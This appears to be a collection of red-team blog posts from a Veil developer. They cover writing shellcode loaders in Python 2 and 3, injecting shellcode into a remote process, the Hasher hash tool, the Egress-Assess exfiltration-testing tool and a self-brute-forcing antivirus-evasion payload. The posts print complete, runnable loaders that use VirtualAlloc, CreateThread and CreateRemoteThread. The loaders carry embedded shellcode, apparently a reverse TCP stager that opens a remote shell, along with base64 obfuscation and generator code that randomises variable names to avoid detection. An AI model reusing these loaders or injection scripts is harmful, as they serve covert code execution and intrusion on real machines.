Shellcode Generation, Manipulation, and Injection in Python 3

It’s no secret that I’ve been working on updating Veil and will soon be releasing Veil 3.0. In the process, I’ve learned quite a bit about Python 2 and 3. Veil-Evasion was developed in Python 2 and after attempting to recreate some of the same capabilities in Python 3, I’ve learned how “loose” Python 2 can be. We were able to get away with various commands where Python 3 explicitly requires us to define what is being done.

Want to see how shellcode injection works in Python 2.0? Here’s a sample Python 2 flat script which includes no obfuscation:

EUPnBcpNWMwGi = bytearray('\xfc\xe8\x86\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x8b\x4c\x10\x78\xe3\x4a\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x89\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x09\x68\xc0\xa8\xa2\x91\x68\x02\x00\x21\xe3\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75\xec\xc3')
import ctypes as ZKWXnIdQAuP
VjdMidBttQlbLnR = ZKWXnIdQAuP.windll.kernel32.VirtualAlloc(ZKWXnIdQAuP.c_int(0),ZKWXnIdQAuP.c_int(len(EUPnBcpNWMwGi)),ZKWXnIdQAuP.c_int(0x3000),ZKWXnIdQAuP.c_int(0x40))
WgHYTWhElnnZ = (ZKWXnIdQAuP.c_char * len(EUPnBcpNWMwGi)).from_buffer(EUPnBcpNWMwGi)
ZKWXnIdQAuP.windll.kernel32.RtlMoveMemory(ZKWXnIdQAuP.c_int(VjdMidBttQlbLnR),WgHYTWhElnnZ,ZKWXnIdQAuP.c_int(len(EUPnBcpNWMwGi)))
IaoYNg = ZKWXnIdQAuP.windll.kernel32.CreateThread(ZKWXnIdQAuP.c_int(0),ZKWXnIdQAuP.c_int(0),ZKWXnIdQAuP.c_int(VjdMidBttQlbLnR),ZKWXnIdQAuP.c_int(0),ZKWXnIdQAuP.c_int(0),ZKWXnIdQAuP.pointer(ZKWXnIdQAuP.c_int(0)))
ZKWXnIdQAuP.windll.kernel32.WaitForSingleObject(ZKWXnIdQAuP.c_int(IaoYNg),ZKWXnIdQAuP.c_int(-1))

And now, here’s the same script written for Python 3:

import ctypes as bDlDmsfMyuV
miiJDEKLsxLjbM = b'\xfc\xe8\x86\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x8b\x4c\x10\x78\xe3\x4a\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x89\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x09\x68\xc0\xa8\xa2\x91\x68\x02\x00\x21\xe3\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75\xec\xc3'
wiseZERld = bDlDmsfMyuV.windll.kernel32.VirtualAlloc(bDlDmsfMyuV.c_int(0),bDlDmsfMyuV.c_int(len(miiJDEKLsxLjbM)),bDlDmsfMyuV.c_int(0x3000),bDlDmsfMyuV.c_int(0x40))
bDlDmsfMyuV.windll.kernel32.RtlMoveMemory(bDlDmsfMyuV.c_int(wiseZERld),miiJDEKLsxLjbM,bDlDmsfMyuV.c_int(len(miiJDEKLsxLjbM)))
CVXWRcjqxL = bDlDmsfMyuV.windll.kernel32.CreateThread(bDlDmsfMyuV.c_int(0),bDlDmsfMyuV.c_int(0),bDlDmsfMyuV.c_int(wiseZERld),bDlDmsfMyuV.c_int(0),bDlDmsfMyuV.c_int(0),bDlDmsfMyuV.pointer(bDlDmsfMyuV.c_int(0)))
bDlDmsfMyuV.windll.kernel32.WaitForSingleObject(bDlDmsfMyuV.c_int(CVXWRcjqxL),bDlDmsfMyuV.c_int(-1))

You can see there is a difference in how the shellcode is being handled. In Python 2, I’m storing the shellcode as a bytearray, vs. Python 3 it’s stored as bytes. This isn’t a huge difference, but a larger change can be seen when manipulating shellcode, such as storing it in a base64 decoding script.

This is how I am able to generate shellcode and base64 encode it to be decoded at runtime in a script in Python 2:

# Generate Shellcode Using msfvenom
Shellcode = self.shellcode.generate(self.required_options)

# Base64 Encode Shellcode
EncodedShellcode = base64.b64encode(Shellcode)

# Generate Random Variable Names
ShellcodeVariableName = helpers.randomString()
RandPtr = helpers.randomString()
RandBuf = helpers.randomString()
RandHt = helpers.randomString()
RandT = helpers.randomString()
randctypes = helpers.randomString()

PayloadCode = 'import ctypes as ' + randctypes + '\n'
PayloadCode += 'import base64\n'
PayloadCode += RandT + " = \"" + EncodedShellcode + "\"\n"
PayloadCode += ShellcodeVariableName + " = bytearray(" + RandT + ".decode('base64','strict').decode(\"string_escape\"))\n"
PayloadCode += RandPtr + ' = ' + randctypes + '.windll.kernel32.VirtualAlloc(' + randctypes + '.c_int(0),' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')),' + randctypes + '.c_int(0x3000),' + randctypes + '.c_int(0x40))\n'
PayloadCode += RandBuf + ' = (' + randctypes + '.c_char * len(' + ShellcodeVariableName  + ')).from_buffer(' + ShellcodeVariableName + ')\n'
PayloadCode += randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + RandPtr + '),' + RandBuf + ',' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')))\n'
PayloadCode += RandHt + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + RandPtr + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n'
PayloadCode += randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + RandHt + '),' + randctypes + '.c_int(-1))\n'

if self.required_options["USE_PYHERION"][0].lower() == "y":
    PayloadCode = encryption.pyherion(PayloadCode)

return PayloadCode

At line 2, we’re receiving a string which essentially contains shellcode similar to ‘\x41\x7d\x00\x0a…’. This string is encoded, and then stored in output payload code. The code which this module creates looks like this:

import ctypes as rLkdwnPpzMBnJr
import base64
IesGKFkNFMC = "XHhmY1x4ZThceDg2XHgwMFx4MDBceDAwXHg2MFx4ODlceGU1XHgzMVx4ZDJceDY0XHg4Ylx4NTJceDMwXHg4Ylx4NTJceDBjXHg4Ylx4NTJceDE0XHg4Ylx4NzJceDI4XHgwZlx4YjdceDRhXHgyNlx4MzFceGZmXHgzMVx4YzBceGFjXHgzY1x4NjFceDdjXHgwMlx4MmNceDIwXHhjMVx4Y2ZceDBkXHgwMVx4YzdceGUyXHhmMFx4NTJceDU3XHg4Ylx4NTJceDEwXHg4Ylx4NDJceDNjXHg4Ylx4NGNceDEwXHg3OFx4ZTNceDRhXHgwMVx4ZDFceDUxXHg4Ylx4NTlceDIwXHgwMVx4ZDNceDhiXHg0OVx4MThceGUzXHgzY1x4NDlceDhiXHgzNFx4OGJceDAxXHhkNlx4MzFceGZmXHgzMVx4YzBceGFjXHhjMVx4Y2ZceDBkXHgwMVx4YzdceDM4XHhlMFx4NzVceGY0XHgwM1x4N2RceGY4XHgzYlx4N2RceDI0XHg3NVx4ZTJceDU4XHg4Ylx4NThceDI0XHgwMVx4ZDNceDY2XHg4Ylx4MGNceDRiXHg4Ylx4NThceDFjXHgwMVx4ZDNceDhiXHgwNFx4OGJceDAxXHhkMFx4ODlceDQ0XHgyNFx4MjRceDViXHg1Ylx4NjFceDU5XHg1YVx4NTFceGZmXHhlMFx4NThceDVmXHg1YVx4OGJceDEyXHhlYlx4ODlceDVkXHg2OFx4MzNceDMyXHgwMFx4MDBceDY4XHg3N1x4NzNceDMyXHg1Zlx4NTRceDY4XHg0Y1x4NzdceDI2XHgwN1x4ZmZceGQ1XHhiOFx4OTBceDAxXHgwMFx4MDBceDI5XHhjNFx4NTRceDUwXHg2OFx4MjlceDgwXHg2Ylx4MDBceGZmXHhkNVx4NTBceDUwXHg1MFx4NTBceDQwXHg1MFx4NDBceDUwXHg2OFx4ZWFceDBmXHhkZlx4ZTBceGZmXHhkNVx4OTdceDZhXHgwOVx4NjhceGMwXHhhOFx4YTJceDkxXHg2OFx4MDJceDAwXHgyMVx4ZTNceDg5XHhlNlx4NmFceDEwXHg1Nlx4NTdceDY4XHg5OVx4YTVceDc0XHg2MVx4ZmZceGQ1XHg4NVx4YzBceDc0XHgwY1x4ZmZceDRlXHgwOFx4NzVceGVjXHg2OFx4ZjBceGI1XHhhMlx4NTZceGZmXHhkNVx4NmFceDAwXHg2YVx4MDRceDU2XHg1N1x4NjhceDAyXHhkOVx4YzhceDVmXHhmZlx4ZDVceDhiXHgzNlx4NmFceDQwXHg2OFx4MDBceDEwXHgwMFx4MDBceDU2XHg2YVx4MDBceDY4XHg1OFx4YTRceDUzXHhlNVx4ZmZceGQ1XHg5M1x4NTNceDZhXHgwMFx4NTZceDUzXHg1N1x4NjhceDAyXHhkOVx4YzhceDVmXHhmZlx4ZDVceDAxXHhjM1x4MjlceGM2XHg4NVx4ZjZceDc1XHhlY1x4YzM="
CnnDRU = bytearray(IesGKFkNFMC.decode('base64','strict').decode("string_escape"))
usGGTaLShwINu = rLkdwnPpzMBnJr.windll.kernel32.VirtualAlloc(rLkdwnPpzMBnJr.c_int(0),rLkdwnPpzMBnJr.c_int(len(CnnDRU)),rLkdwnPpzMBnJr.c_int(0x3000),rLkdwnPpzMBnJr.c_int(0x40))
TaEkbM = (rLkdwnPpzMBnJr.c_char * len(CnnDRU)).from_buffer(CnnDRU)
rLkdwnPpzMBnJr.windll.kernel32.RtlMoveMemory(rLkdwnPpzMBnJr.c_int(usGGTaLShwINu),TaEkbM,rLkdwnPpzMBnJr.c_int(len(CnnDRU)))
TuQYnf = rLkdwnPpzMBnJr.windll.kernel32.CreateThread(rLkdwnPpzMBnJr.c_int(0),rLkdwnPpzMBnJr.c_int(0),rLkdwnPpzMBnJr.c_int(usGGTaLShwINu),rLkdwnPpzMBnJr.c_int(0),rLkdwnPpzMBnJr.c_int(0),rLkdwnPpzMBnJr.pointer(rLkdwnPpzMBnJr.c_int(0)))
rLkdwnPpzMBnJr.windll.kernel32.WaitForSingleObject(rLkdwnPpzMBnJr.c_int(TuQYnf),rLkdwnPpzMBnJr.c_int(-1))

This script decodes the base64 encoded string (the shellcode), and then string escapes the shellcode. After that, the escaped shellcode is injected into memory and run. Python 2 makes this fairly simple to do, Python 3, is a little more strict with the datatypes that are used.

For example, this is how I am generating shellcode and encoding it prior to embedding it within a script in Python 3:

# Generate the shellcode
Shellcode = self.shellcode.generate(self.cli_opts)
Shellcode = Shellcode.encode('latin-1')
Shellcode = Shellcode.decode('unicode_escape')

# Base64 Encode Shellcode
EncodedShellcode = base64.b64encode(bytes(Shellcode, 'latin-1')).decode('ascii')

payload_code = 'import ctypes as ' + randctypes + '\n'
payload_code += 'import base64\n'
payload_code += ShellcodeVariableName +' = base64.b64decode(\"' + EncodedShellcode + '\")\n'
payload_code += RandPtr + ' = ' + randctypes + '.windll.kernel32.VirtualAlloc(' + randctypes + '.c_int(0),' + randctypes + '.c_int(len('+ ShellcodeVariableName +')),' + randctypes + '.c_int(0x3000),' + randctypes + '.c_int(0x40))\n'
payload_code += randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + RandPtr + '),' + ShellcodeVariableName + ',' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')))\n'
payload_code += RandHt + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + RandPtr + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n'
payload_code += randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + RandHt + '),' + randctypes + '.c_int(-1))\n'

Immediately there’s a difference with how shellcode generation and manipulation is handled. In this case, line 2 still receives the shellcode as a string similar to ‘\x41\x7d\x00\x0a…’, but you can’t base64 encode a string in Python 3, it requires input to be in the form of bytes. Unfortunately, .encode() on the shellcode doesn’t properly encode the shellcode for injection later on in the script. It took a while, but with the help of @raikiasec, we were able to figure out that encoding shellcode with latin-1 formatting (.encode(‘latin-1’)) allowed the string shellcode to be properly encoded.

Obviously, that wasn’t the only step that needs to be taken. After encoding in ‘latin-1’ format, the shellcode needs to be unicode escaped, and then re-encoded in latin-1 to return it to a byte format (hint: every time you .encode() something, you convert from a string to bytes. Each time you .decode() something, you convert from bytes to a string). The final latin-1 encoding is all that is needed, and then the shellcode is base64 encoded. Beyond that, Base64 encoding returns bytes, so the bytes output needs to be decoded as ascii, and then stored in the output Python script.  Once this is done, it creates a script similar to below:

import ctypes as AKkkiwvmOTZmuXU
import base64
mMgzKuJ = base64.b64decode("/OiGAAAAYInlMdJki1Iwi1IMi1IUi3IoD7dKJjH/McCsPGF8Aiwgwc8NAcfi8FJXi1IQi0I8i0wQeONKAdFRi1kgAdOLSRjjPEmLNIsB1jH/McCswc8NAcc44HX0A334O30kdeJYi1gkAdNmiwxLi1gcAdOLBIsB0IlEJCRbW2FZWlH/4FhfWosS64ldaDMyAABod3MyX1RoTHcmB//VuJABAAApxFRQaCmAawD/1VBQUFBAUEBQaOoP3+D/1ZdqCWjAqKKRaAIAIeOJ5moQVldomaV0Yf/VhcB0DP9OCHXsaPC1olb/1WoAagRWV2gC2chf/9WLNmpAaAAQAABWagBoWKRT5f/Vk1NqAFZTV2gC2chf/9UBwynGhfZ17MM=")
COZaAf = AKkkiwvmOTZmuXU.windll.kernel32.VirtualAlloc(AKkkiwvmOTZmuXU.c_int(0),AKkkiwvmOTZmuXU.c_int(len(mMgzKuJ)),AKkkiwvmOTZmuXU.c_int(0x3000),AKkkiwvmOTZmuXU.c_int(0x40))
AKkkiwvmOTZmuXU.windll.kernel32.RtlMoveMemory(AKkkiwvmOTZmuXU.c_int(COZaAf),mMgzKuJ,AKkkiwvmOTZmuXU.c_int(len(mMgzKuJ)))
WzFChtFNp = AKkkiwvmOTZmuXU.windll.kernel32.CreateThread(AKkkiwvmOTZmuXU.c_int(0),AKkkiwvmOTZmuXU.c_int(0),AKkkiwvmOTZmuXU.c_int(COZaAf),AKkkiwvmOTZmuXU.c_int(0),AKkkiwvmOTZmuXU.c_int(0),AKkkiwvmOTZmuXU.pointer(AKkkiwvmOTZmuXU.c_int(0)))
AKkkiwvmOTZmuXU.windll.kernel32.WaitForSingleObject(AKkkiwvmOTZmuXU.c_int(WzFChtFNp),AKkkiwvmOTZmuXU.c_int(-1))

The hardest concept for me to grasp was learning the proper encoding/decoding format that the shellcode needs to be in for the different types of manipulation that I would perform on the shellcode (base64 encoding, letter substitution, encryption, etc.). Hopefully by giving some code examples here, this can help anyone else that is looking into using Python 3 to manipulate shellcode, inject it into memory, or more.

If there’s a better way to do the above, or if you have any questions, don’t hesitate to send a message my way! Otherwise, be sure to check out Veil 3’s release at NullCon and you’ll have plenty of example to look at!

Injecting Shellcode into a Remote Process with Python

In order to inject shellcode into a remote process, we’re going to have to interact with the Windows API, and it’s actually going to be fairly simple to do.  To start off, you need to check that you have the permissions to interact with the process that you want to inject shellcode into, and you will also need to know the process ID .  I’ll leave this to you to ensure you can verify and gather this information.

Now that we know we have the permissions to interact with the remote process, and the process ID is known, we can begin developing a script that will perform the injection.  First, we need to know the different calls (and understand the reason for calling them) to the Windows API we will need to make.  It’s simple, there’s just four main calls, and they are as follows:

  • OpenProcess – This is called to get a handle into the process we want to inject shellcode into
  • VirtualAllocEx – This is called to allocate memory for the shellcode in the remote process
  • WriteProcessMemory – This writes the shellcode to the allocated memory within the remote process
  • CreateRemoteThread – This creates a thread, and executes the shellcode within the remote process

Ctypes makes it very simple to interact with the Windows API in a Python script, so it will be a required import for this script.  The following is the completed script, and I will go over each part of the script in detail:

from ctypes import *

page_rwx_value = 0x40
process_all = 0x1F0FFF
memcommit = 0x00001000
kernel32_variable = windll.kernel32
shellcode = "\xbb\xbb\x48\x30\x8d\xdb\xdd\xd9\x74\x24\xf4\x58\x2b\xc9\xb1\x47\x83\xe8\xfc\x31\x58\x0f\x03\x58\xb4\xaa\xc5\x71\x22\xa8\x26\x8a\xb2\xcd\xaf\x6f\x83\xcd\xd4\xe4\xb3\xfd\x9f\xa9\x3f\x75\xcd\x59\xb4\xfb\xda\x6e\x7d\xb1\x3c\x40\x7e\xea\x7d\xc3\xfc\xf1\x51\x23\x3d\x3a\xa4\x22\x7a\x27\x45\x76\xd3\x23\xf8\x67\x50\x79\xc1\x0c\x2a\x6f\x41\xf0\xfa\x8e\x60\xa7\x71\xc9\xa2\x49\x56\x61\xeb\x51\xbb\x4c\xa5\xea\x0f\x3a\x34\x3b\x5e\xc3\x9b\x02\x6f\x36\xe5\x43\x57\xa9\x90\xbd\xa4\x54\xa3\x79\xd7\x82\x26\x9a\x7f\x40\x90\x46\x7e\x85\x47\x0c\x8c\x62\x03\x4a\x90\x75\xc0\xe0\xac\xfe\xe7\x26\x25\x44\xcc\xe2\x6e\x1e\x6d\xb2\xca\xf1\x92\xa4\xb5\xae\x36\xae\x5b\xba\x4a\xed\x33\x0f\x67\x0e\xc3\x07\xf0\x7d\xf1\x88\xaa\xe9\xb9\x41\x75\xed\xbe\x7b\xc1\x61\x41\x84\x32\xab\x85\xd0\x62\xc3\x2c\x59\xe9\x13\xd1\x8c\xbe\x43\x7d\x7f\x7f\x34\x3d\x2f\x17\x5e\xb2\x10\x07\x61\x19\x39\xa2\x9b\xc9\x86\x9b\x9b\x96\x6f\xde\xe3\x89\x8c\x57\x05\xa3\x42\x3e\x9d\x5b\xfa\x1b\x55\xfa\x03\xb6\x13\x3c\x8f\x35\xe3\xf2\x78\x33\xf7\x62\x89\x0e\xa5\x24\x96\xa4\xc0\xc8\x02\x43\x43\x9f\xba\x49\xb2\xd7\x64\xb1\x91\x6c\xac\x27\x5a\x1a\xd1\xa7\x5a\xda\x87\xad\x5a\xb2\x7f\x96\x08\xa7\x7f\x03\x3d\x74\xea\xac\x14\x29\xbd\xc4\x9a\x14\x89\x4a\x64\x73\x0b\xb6\xb3\xbd\x79\xd6\x07"
process_id = 1234
shellcode_length = len(shellcode)

process_handle = kernel32_variable.OpenProcess(process_all, False, process_id)
memory_allocation_variable = kernel32_variable.VirtualAllocEx(process_handle, 0, shellcode_length, memcommit, page_rwx_value)
kernel32_variable.WriteProcessMemory(process_handle, memory_allocation_variable, shellcode, shellcode_length, 0)
kernel32_variable.CreateRemoteThread(process_handle, None, 0, memory_allocation_variable, 0, 0, 0)

 

 

***************************Line By Line Description*******************************

from ctypes import * – The ctypes import is required and is what allows us to interact with the Windows API within python.

page_rwx_value – This is a variable that sets the section of memory that will store the shellcode as read, write, and executable.

processall_variable – This variable states that when we try to open a handle into the process we’re injecting into, we want to have “all possible access rights” into the process.

memcommit –  This variable is set to allocate memory and ensure it is zeroed upon writing to memory.

kernel32_variable – This just stores the available calls from windll.kernel32 within a single variable.

Shellcode – This is the shellcode that will be injected into memory and executed

process_id – This is the process ID that the shellcode will be injected into

shellcode_length – This variable stores the length of the shellcode that will be injected and executed

process_handle = kernel32_variable.OpenProcess(process_all, False, process_id)  – This line makes a call to OpenProcess.  The point of this line is to return a handle into the process we are injecting shellcode into.  We’re specifically asking for all possible process rights, stating that we don’t need to inherit the handle, and specifying the process ID of the process to obtain a handle from.

memory_allocation_variable = kernel32_variable.VirtualAllocEx(process_handle, 0, shellcode_length, memcommit, page_rwx_value) – This line calls VirtualAllocEx, a function that allocates memory in a remote process.  It requires a handle to the process that will have memory allocated (obtained from the OpenProcess call), the size that should be allocated (shellcode length), the type of memory allocation that should be performed (memcommit), and the memory protection that should be placed on the allocated memory range (read, write, execute).  It returns the base address to the memory that was allocated by the function.

kernel32_variable.WriteProcessMemory(process_handle, memory_allocation_variable, shellcode, shellcode_length, 0) – This line calls WriteProcessMemory which writes data (shellcode) to an area of memory within a process of our choosing.  The function receives the process handle that was obtained, the base address where the function will write memory to, our shellcode, and the length of the shellcode, and the value 0 which tells the function to ignore an optional output.

kernel32_variable.CreateRemoteThread(process_handle, None, 0, memory_allocation_variable, 0, 0, 0) – This calls CreateRemoteThread, which will create a thread (go figure) within the another process.  This function call takes in a handle to the process which the shellcode is being injected into, None – states that the thread inherits a default security descriptor, 0 – defines the stack size to be the default size for that executable, the base address of the memory allocated earlier, and the final “0”s are miscellaneous parameters that tells the function that we aren’t providing “A pointer to the application-defined function” (source: MSDN), there isn’t a variable passed in, and to execute the thread immediately

From this point on, the shellcode should execute within the targeted process, and you should be set!  If there are any questions, errors, or something that needs to be addressed, let me know!

Hasher Re-Write/Update

Github Repo: https://github.com/ChrisTruncer/Hasher

I have made some changes to Hasher, ideally I’d like to think for the better. Hasher was originally a single, large, python script that was used to hash plaintext strings, and compare a hash value to a plaintext string.  Hasher still performs the same actions, generates hashes or compares them with a plaintext string, but Hasher now has been converted into a framework which will allow myself, or anyone else, to easily add in support for different hashes.

Usage is still essentially the same, however there is no longer an interactive menu.  Hasher is now completely command line based.

Hasher Menu

To see a list of all hash-types that Hasher currently supports, simply run ./Hasher.py –list

HashTypes

Once you have the hash-type you want to generate a hash for, it’s fairly simple to generate.  For example, if you were looking to generate (-G) a md5 hash for the string “password123”, you would do it this way:

./Hasher.py -G --plaintext password123 --hash-type md5

You should see output similar to the following:

MD5 Generated

Harmj0y provided me with a great idea when using Hasher.  He had a use case where he just wanted Hasher to dump out all possible hashes for a specific plaintext string, but didn’t want to have to generate all hashes manually.  I added in the ability to generate all possible hash types based on the information provided.  To do this, you would run the following command:

./Hasher.py --plaintext password123 --hash-type all -G

When you run this, you should see output similar to the following:

Hasher All Output

Another capability that Hasher has, is it can take a plaintext string and hash, and then compare (-C) the the plaintext string to ensure it matches the hash.  This has been useful for me when needing to check if a hash and string “equal” each other, without submitting any of the information online.  So, lets continue the previous example.  If you wanted to verify that the plaintext string “password123” matches the md5 hash “482c811da5d5b4bc6d497ffa98491e38”, your command should look like this:

./Hasher.py -C --plaintext password123 --hash 482c811da5d5b4bc6d497ffa98491e38 --hash-type md5

True Comparison

For testing purposes, if the hash and plaintext string didn’t match up, it would look like the following:

False Hasher Comparison

 

Hash Module Development

Adding in support for new hash types is significantly easier now.  Every *.py file within the “hash_ops” folder is automatically picked up and parsed by Hasher.  Within the hash_ops folder, is a text file called “hash_template.txt”.  To add in a new hash-type, simply copy the template file and rename it with a .py extension.  There’s only two required methods within each module:

  • __init__ – This method needs to contained a self.hash_type attribute.  This is what is used by the user from the command line to select a specific hash.  Any other information within the __init__ method is optional.
  • generate – The generate method is called by Hasher to generate a hash.  This method has complete access to all options passed in from the command line by the user.  It must return the hash of the plaintext string.

For a sample, this is what the md5 module looks like:

Hasher MD5 Updated

Hopefully, this helps explain the minor usability changes to Hasher, and elaborates on how it’s now easier to add support for new hashes.  If anyone has any questions, feel free to reach out to me on twitter (@ChrisTruncer) or in #Veil on Freenode!

Egress-Assess – Testing your Egress Data Detection Capabilities

Github Link: https://github.com/ChrisTruncer/Egress-Assess

On a variety of occasions, our team will attempt to extract data from the network we are operating in and move it to another location for offline analysis.  Ideally, the customer that is being assessed will detect the data being extracted from their network and take preventive measures to stop further data loss.

When looking to copy data off of our target network, an attacker can do so over a variety of channels:

  • Download data through Cobalt Strike’s Beacon (over http or dns)
  • Download data through a Meterpreter Session
  • Manually moving data over FTP, SFTP, etc.

While we routinely inspect and analyze data from the customer environment in order to aid in lateral movement, we also provide customers data exfiltration testing as a service. Performing a data exfiltration exercise can be a valuable service to a customer who wants to validate if their egress detection capabilities can identify potentially sensitive data leaving their network.

I wanted to come up with an easy to use solution that would simulate the extraction of sensitive data from my machine to another.  While trying to plan out a tool, I targeted a few protocols commonly used by attackers:  FTP, HTTP, and HTTPS.  To ensure that I could generate “sensitive” data that would be discovered during defensive operations, I needed to identify what multiple organizations would highly value. Two different sensitive data types that would likely have signatures across organizations are social security numbers and credit card numbers and I decided to target those forms of data in my proof of concept.

After spending a couple days piecing bits of code together, I am happy to release Egress-Assess.

Updated EgressAssess Help Menu

Egress-Assess can act as both the client and the server for the protocol you wish to simulate.  It supports exfiltration testing over HTTP, HTTPS, and FTP.  I envision the tool being used on an internal client and an external server where data would be passed over network boundaries. Once cloned from the repository, the dummy data can be transferred from one machine to another. 

To extract data over FTP, you would first start Egress-Assess’s FTP server by placing it in server mode with the ftp and providing a username and password to use:

./Egress-Assess.py --server ftp --username testuser --password pass123

FTP Server Setup EA

Running that command should start something similar to the following:

FTP Server

This shows that the FTP server is up and running.  With this going, all we need to do now is configure the client to connect to the server!  This is simple, can can be done by telling Egress-Assess to act in client mode and use ftp, provide the username and password to use, the ip to connect to, and the datatype to transmit (in this case, social security numbers).  Your output should look similar to the following…

./Egress-Assess.py --client ftp --username test --password pass --datatype ssn --ip 192.168.63.149

ftpclientupdated

Within the same directory as Egress-Assess, a “data” directory will be created.  Within it is where all transmitted files will be stored.  At this point, the transfer is complete via FTP!

You can also do the same over HTTP or HTTPS.  Again, the first step will be starting one instance to act as the server in http mode.

./Egress-Assess.py --server http

HTTP Server Startup

This will now start a web server to listen on port 80.  The next step is to have your client generate new dummy data, and send it to the web server.  Only this time, we’ll change it up by specifying the approximate amount of data we want to generate.

By default, Egress-Assess will generate approximately 1 megabyte of data (either social security numbers or credit card numbers).  This amount can be changed using the “–data-size” flag.  If we want to send approximately 15 megabytes of credit card data to our web server over http, the command may look as follows…

./Egress-Assess.py --client http --data-size 15 --ip 192.168.63.149 --datatype cc

HTTP Client setup

http data sent

As you can see above, the file was transferred, and our web server received the file!

That about rounds out the current state of Egress-Assess.  Future revisions will include making a more modularized tool so users can easily add support for new protocols, and new data types for transfer.  If there are any other requests, I’d love to hear them!

Developing a Self-Brute Forcing Payload for Veil

I’ve always thought the concepts that Hyperion utilizes to encrypt and hide an executable are very interesting.  As a result, I thought it would be a fun exercise to try to create a Veil payload that utilizes the following concepts:

  • Encrypt the shellcode stored within the executable
  • Only contain part of the decryption key within the executable
  • Make the payload brute force itself to find the complete decryption key

Hopefully, it’ll be worthwhile to walk you through how this payload works, so that’s what I’ll do. 🙂

Encrypting and decrypting shellcode is the easy part, this is something that is already done in Veil’s AES, DES, and ARC4 encrypting payloads.  But I needed to create a script that attempts to decrypt our ciphertext, thousands of times until it finds the decryption key.  I incorrectly assumed that when using the incorrect decryption key, and exception would be thrown, but that isn’t the case.  The decryption routine is still run on our ciphertext, and garbage data is returned as out “cleartext” data.  Since I can’t trigger an event based on an exception of the wrong decryption key being used, I needed a different method to determine when the real key has been found.  My implementation is to encrypt a known string with the same key used to encrypt the shellcode.  

Each round of the decryption routine will decrypt the ciphertext containing our known cleartext string.  The decrypted value is then compared to the known plaintext string.  If they don’t match, then the code assumes the wrong decryption key was used, and changes to another key.  If the decrypted string matches our known string, the code then assumes that the real key has been found.

BruteForcing Payload

